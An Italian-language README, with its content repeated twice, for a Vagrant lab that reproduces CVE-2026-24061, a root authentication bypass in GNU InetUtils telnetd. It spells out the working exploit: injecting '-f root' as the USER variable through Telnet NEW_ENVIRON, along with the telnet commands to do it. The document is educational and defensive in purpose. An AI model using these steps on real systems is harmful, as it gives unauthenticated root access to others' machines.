
Laboratorio di riproduzione per CVE-2026-24061: bypass critico dell'autenticazione in GNU InetUtils telnetd. Fornisce un ambiente Vagrant isolato per sfruttare in sicurezza la vulnerabilità di injection NEW_ENVIRON USER.
⚠️ Solo a scopo didattico. Ambiente di laboratorio isolato.
Bypass critico dell'autenticazione (CVSS 9.8) in GNU InetUtils telnetd ≤ 2.7.
Iniettando -f root come variabile USER tramite l'opzione Telnet NEW_ENVIRON,
un utente malintenzionato non autenticato può ottenere una shell root senza alcuna password.
La variabile USER ricevuta dal client durante la negoziazione Telnet viene passata
direttamente a /usr/bin/login senza sanitizzazione:
/usr/bin/login -p -f root
Il flag -f dice a login di saltare la verifica della password per l'utente specificato.
Questo comportamento è documentato nella RFC 1572 (Sezione 7) come un rischio noto — eppure il
bug era presente in inetutils da oltre un decennio.
GNU InetUtils telnetd 1.9.3 fino a 2.7
Aggiornare a GNU InetUtils ≥ 2.7-2
Questo laboratorio utilizza Vagrant per fornire una vera VM isolata che esegue la versione vulnerabile di telnetd (inetutils 2.5, compilata dal sorgente), rendendola il più possibile vicina a un ambiente reale.
Requisiti: Vagrant + VirtualBox installati sulla tua macchina.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM avvia con IP 192.168.56.10 e telnetd in ascolto sulla porta 23.

Dalla tua macchina host:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variabile USER viene iniettata tramite l'opzione Telnet NEW_ENVIRON durante la fase di negoziazione — prima che appaia il prompt di login.

Agokoli
⚠️ Solo a scopo didattico. Ambiente isolato.
Bypass critico dell'autenticazione (CVSS 9.8) in GNU InetUtils telnetd ≤ 2.7.
Iniettando -f root come valore della variabile USER tramite l'opzione Telnet NEW_ENVIRON,
un utente malintenzionato non autenticato può ottenere una shell root senza alcuna password.
La variabile USER ricevuta dal client durante la negoziazione Telnet viene passata
direttamente a /usr/bin/login senza validazione:
/usr/bin/login -p -f root
Il flag -f indica a login di non verificare la password per l'utente specificato.
Questo rischio è documentato nella RFC 1572 (Sezione 7) — eppure il bug è rimasto
presente in inetutils per oltre un decennio.
GNU InetUtils telnetd 1.9.3 a 2.7
Aggiornare a GNU InetUtils ≥ 2.7-2
Questo laboratorio utilizza Vagrant per fornire una vera VM isolata che esegue la versione vulnerabile di telnetd (inetutils 2.5, compilata dal sorgente), per essere il più vicino possibile a un ambiente reale.
Prerequisiti: Vagrant + VirtualBox installati sulla tua macchina.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM avvia con IP 192.168.56.10 e telnetd in ascolto sulla porta 23.

Dalla tua macchina host:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variabile USER viene iniettata tramite l'opzione NEW_ENVIRON del protocollo Telnet durante
la fase di negoziazione — prima ancora che appaia il prompt login:.

Agokoli